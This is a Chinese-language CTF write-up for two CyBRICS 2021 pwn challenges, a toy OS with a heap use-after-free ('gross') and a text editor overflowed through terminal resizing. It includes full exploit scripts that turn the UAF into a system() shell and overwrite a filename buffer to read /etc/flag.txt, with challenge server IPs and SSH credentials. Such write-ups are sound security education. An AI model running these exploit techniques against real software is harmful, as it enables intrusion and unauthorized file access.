cybrics2021_pwn
# cybrics2021_pwn
膜队友ak rev, syclover今年也很努力!
# gross(done)
# 逆向
拿到题目就开始逆向, 简单分析, 程序本身main文件是做了个简易的os, 有程序加载运行的功能, 然后programs文件夹内存放的是几个自定义格式的二进制文件, 程序就直接启动了shell, 然后进入运行.
进行分析, 调试+分析, 符号比较全, 逆向难度不太大.
# 主程序main
main函数比较简洁, 首先使用load_program
函数将自定义格式的文件解析并载入到内存中, 然后设置名字后调用dump_program
打印程序信息, 调用spawn
函数新建一个线程来运行载入进内存的文件, 然后一直在handle_requests
函数运行, 直到所有程序都结束os退出(所有线程都结束程序退出)
函数spawn
中, 在内存中找到了对应程序的起始地址然后开启一个新线程去运行, 以此模拟一个程序运行在os中, 并且通过socket
进行数据通讯, 调用add_process
函数维护一个全局单向链表.bss:0000000000005028 processes
, 这个链表储存所有在这个os中运行起来的程序, 注意这个pea结构体, 这也是线程运行时的参数1,
然后在函数handle_requests
, 首先调用fill_fds
遍历process
并填充满fds
列表, 判断如果没有线程了,程序推出, 不然一直在这里循环,
然后是20行, 查看每个fds
即依次查看每个os内启动的程序, 进入make_syscall函数进行处理.
make_syscall
函数如下:
程序和os通过socket进行通讯, 首先os读取要读取的数据大小, 然后读取数据进来, 其中数据格式是开头为syscall_num
标识系统调用号,后面为对应传入的参数, 以下系统调用还比较明了
系统调用的switch要修复下跳转表,
系统调用4, 这一套操作其实和程序最开始导入programes/shell
一致, 就是再创建一个线程,并放到process
链表中, 然后在handle_requests
函数中循环的时候就有两个程序在os中运行, 会分别处理.
系统调用5, 就是个结束线程并释放掉这个进程的相关内存, 表示os内一个程序推出了.
主程序模拟一个os的流程分析结束, 然后我们应该分析下几个文件.
# shell
导入ida64, 二进制文件方式导入, ida会自动分析一部分, 然后编译选项选择gun c++.
按照os中对于程序的解析来看, 这个程序入口点在
code_offste + entry = 0x0400+0x02f5 = 0x06F5
shell_main
函数只有一个参数, 也就是我们前面spawn
函数中看到的pea结构体, 有点类似c++的this指针这里我定义为shell_this
结构体:
简单分析, 发现程序内调用这个syscall_fcn
函数挺多, 这个函数在os中, 我们再回去分析,
syscall_fcn
函数, 基本可以看出来和make_syscall
函数对应, make_syscall
函数是os处理程序的系统调用的, syscall_fcn
是留给程序向os发送系统调用通讯的.
另外这个args
结构体也在程序中被使用到了,定义如下:
然后配合syscall_fcn
函数的分析, 如下的函数基本可以识别为函数调用, 示例write函数(seg000:00000000000005DA write_user
), 其他类似,
于是可以基本分析出来shell_main
函数, 其实就是内置了三个功能, sleep只会暂停一下, exit直接退出, spawn可以发送syscall4:spawn(pname)
启动另一个程序.
实际上能用的功能只是启动其他程序, 于是把剩下几个也得分析了.
# programs
这里就基本分析完shell和os了, 剩下的几个分析就非常顺了.
echo 就是个复读机,没啥意思.
cat能实现任意文件读取, 但是限制了字符.
, 读不了flag.txt
,
其实还有个没有
.
的flag, gross2题目的flag, 但是又没给名字, 猜不到文件名字感觉可能他这个出题思路应该是一个flag有., 一个没有, 这样逆向到cat有一个flag, pwn拿到shell一个flag,放题整错了吧...
# storage
看起来就不太对的一个文件, 逆向完os的sysccall以后还跟队友说, "我觉得这个改改可以出堆菜单题啊"
, 结果:
storage_main函数, 这里细节还是有些问题, 没调整太好,但是基本可以看到是个堆菜单题,
基本是常规的, 没有啥检测和限制, free里面有个uaf, 随意读取和修改,
# 利用
就是先从shell切到storage, 然后一个啥检测也没有uaf的洞, 先拿一个0x500的chunk, 仍unsortedbin, 得到main_arean, 然后得到malloc_hook, 通过这个低三位可以查到六个libc, 这里把free_hook改成了puts, 然后远程测试出来一个打印出/bin/sh的就是对的, ubuntu 2.27-1.4就是远程的, puts直接改成system就可以拿到shell了,
exp如下, 拿到shll就有个gross1和gross2的flag了
from pwn import *
def init():
sla("shell(0)<", "SPAWN")
ru(" Enter process name")
sla("shell(0)<", "storage")
sla("shell(0)<", "EXIT")
def add(idx, size):
sla(")< ", "1")
sla(")< ", str(idx))
sla(")< ", str(size))
def dele(idx):
sla(")< ", "2")
sla(")< ", str(idx))
def show(idx):
sla(")< ", "4")
sla(")< ", str(idx))
def edit(idx, data):
sla(")< ", "3")
sla(")< ", str(idx))
sla(")< ", data)
def exp():
init()
add(0, 0x500)
add(1, 0x20)
dele(0)
show(0)
ru(")> ")
leak = u64(re(8, 2))
slog['leak'] = leak
main_arean = leak - 96
malloc_hook = main_arean - 0x10
slog['mhook'] = malloc_hook
libc = malloc_hook - pmhook
puts = libc + pputs
system = libc + psystem
fhook = libc + pfhook
add(3, 0x40)
edit(3, '/bin/sh\x00')
dele(1)
edit(1, flat(fhook))
show(1)
add(1, 0x20)
add(2, 0x20)
edit(2, flat(system))
dele(3)
sl("cat flag.txt")
sl("cat bTAkUG9eCMgCbGMQbx8a")
context.os='linux'
context.log_level = 'debug'
context.terminal = ['tmux', 'splitw', '-h']
local = int(sys.argv[1])
context.arch='amd64'
if local:
cn = process('./rbin')
# cn = process(['./ld', './bin'], env={"LD_PRELOAD":"./libc"})
else:
cn = remote("109.233.61.10", 11710)
libc2714 = 1
if libc2714:
pmhook = 0x00000000003ebc30
pputs = 0x000000000080aa0
pfhook = 0x00000000003ed8e8
psystem = 0x04f550
re = lambda m, t : cn.recv(numb=m, timeout=t)
recv= lambda : cn.recv()
ru = lambda x : cn.recvuntil(x)
rl = lambda : cn.recvline()
sd = lambda x : cn.send(x)
sl = lambda x : cn.sendline(x)
ia = lambda : cn.interactive()
sla = lambda a, b : cn.sendlineafter(a, b)
sa = lambda a, b : cn.sendafter(a, b)
sll = lambda x : cn.sendlineafter(':', x)
exp()
ia()
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
# 补:第一问预期解
看了下官方的直播, 发现第一问比我想的要复杂一点, 直接getshell其实是做简单了,
第一问, 因为使用cat会有检测, 但是cat输入的文件名存在堆块内, storage可以使用uaf修改堆内的数据,
而且os运行的时候是以此检查每个进程, 如果出现系统调用会依次处理, 于是在检测以后, open之前, 会运行一次storage中的指令, 如果我们可以控制好交互顺序, 就可以过了检测以后的一轮运行中, 先uaf修改文件名为flag.txt然后接着进入open的处理中, 这样绕过检测,
初步的想法类似下面这样, 分别的系统调用和应该对应的样子,
cat:
1.malloc
2.read
3.open
4.read
5.write
storage:
1.read
2.wirte
3.read
4.write
5.read
shell:
1.read
2.write
3.read
4.swap
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
但是调试以后发现, 并不是所有进程系统调用暂停的时候运行一次, emmm, 也就是说上图的表格, 其实是不对齐的,
于是最后调试分析得到的图如下,
exp:
def shell(con=''):
sla("shell(0)< ", con)
def storage(con=''):
sla("storage(1)< ", con)
def cat(con=''):
sla("cat(2)< ", con)
def exp():
shell("SPAWN")
ru("shell(0)> Enter process name:")
shell("storage")
shell()
shell()
shell()
shell()
shell()
shell()
storage('1')
shell()
shell()
storage('0')
shell()
shell()
storage(str(0x100))
shell()
shell()
storage('2')
shell()
shell()
storage('0')
shell()
shell()
storage()
shell("SPAWN")
storage()
storage('3')
shell("cat")
storage('0')
shell()
shell()
shell()
cat('arst')
shell()
storage('flag.txt')
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
# little buggy editor
文本编辑器, 这个题目一开始逆完了以后一直没找到啥漏洞点, 可以任意打开文件读取, 但是不能数据/
和..
, 思路大体是通过溢出global_buffer
去修改后面的filename
, 但是一直没想到漏洞怎么溢出,
后面队友说终端大小会影响xy的范围, 于是终端最大化字体最小试了半天,emmmmm, 比赛结束看到别的师傅是通过脚本伪造终端大小, 复现了下, 我是傻子.
# 逆向
程序比较简单, 先初始化, 然后打印, 获取输入, 判断是否为控制字符, 进行对应操作, 如果不是的话写入到GlobalBuffer
中, 然后通过max_x, max_y限制大小, 大体的按键如下:
键盘按键参考的这个 (opens new window), 转义序列 (opens new window) 和
infocmp -L
,
F2 = "\x1bOQ"
F3 = "\x1bOR"
F4 = "\x1bOS"
F5 = "\x1b[15~"
F10 = "\x1b[21~"
DELE = '\x7f'
END = "\x1bOF"
DOWN = "\x1bOB"
UP = "\x1bOA"
LEFT = "\x1bOD"
RIGH = "\x1bOC"
delete cahracter
[backspace]
[DC]
cursor move
y++
[END] (y=max_y-1)
[RIGHT] [check x<max_x-3]
y--
[HOME] (y=0)
[LEFT]
x++
[DOWN] [check x<max_x-3]
x--
[UP] [check x>0]
file:
reload file
[F5]
read_file
open file
[F3]
set_filename
read_file
rename file
[F4]
set_filename
save file
[F2]
set_filename
write_file
exit
[F10]
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
文件相关的功能主要是读取文件名, 然后写入文件或者打开文件, 其实是可以实现一个任意文件读写的能力,
但是在read_filename
函数中这里不允许..
而且不允许/
字符, 于是无法读取到/etc/flag.txt
,
# 利用
也没有个堆/栈啥的, 大概的思路就是溢出GlobalBuffer
往后改掉FileName
:
然后漏洞应该是在main函数中对于xy的check是检测maxx maxy, 这两个是通过函数getsize
获得, 其实是终端的大小, 我们测试也可以发现终端大小是会导致显示不同的,
题目描述给的book文件, 终端全屏可以显示更多信息,
然后之前是到这里就手动去测试了, 想来应该理解到, 如果真的溢出的话也是要通过脚本进行利用的, 所以应该要去找可以修改终端大小的脚本, 然后再调试利用.
复现的时候用了pexpect这个库, 好像用pwntools没有setwinsize这个解决方案, 恰好翻到zio (opens new window)其实也有, 但是也是抄的pexpect的.
其实就是向下501步(500*501=0x3d090+0x1f4), 然后填充0x1c(28)个字符, 就是filename了,写入/etc/flag即可.
import pexpect
import sys
F2 = "\x1bOQ"
F3 = "\x1bOR"
F4 = "\x1bOS"
F5 = "\x1b[15~"
F10 = "\x1b[21~"
DELE = "\x7f"
END = "\x1bOF"
UP = "\x1bOA"
DOWN = "\x1bOB"
RIGH = "\x1bOC"
LEFT = "\x1bOD"
local = int(sys.argv[1])
if local:
cn = pexpect.spawn("./bin")
else:
cn = pexpect.spawn("ssh tolstoy@64.227.123.153")
cn.expect("password:")
cn.sendline("W&P1867")
cn.setwinsize(505, 500)
cn.send(DOWN * 501)
cn.send("a" * 28)
cn.send("/etc/flag.txt")
cn.send(F5)
cn.interact()
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
得到flag: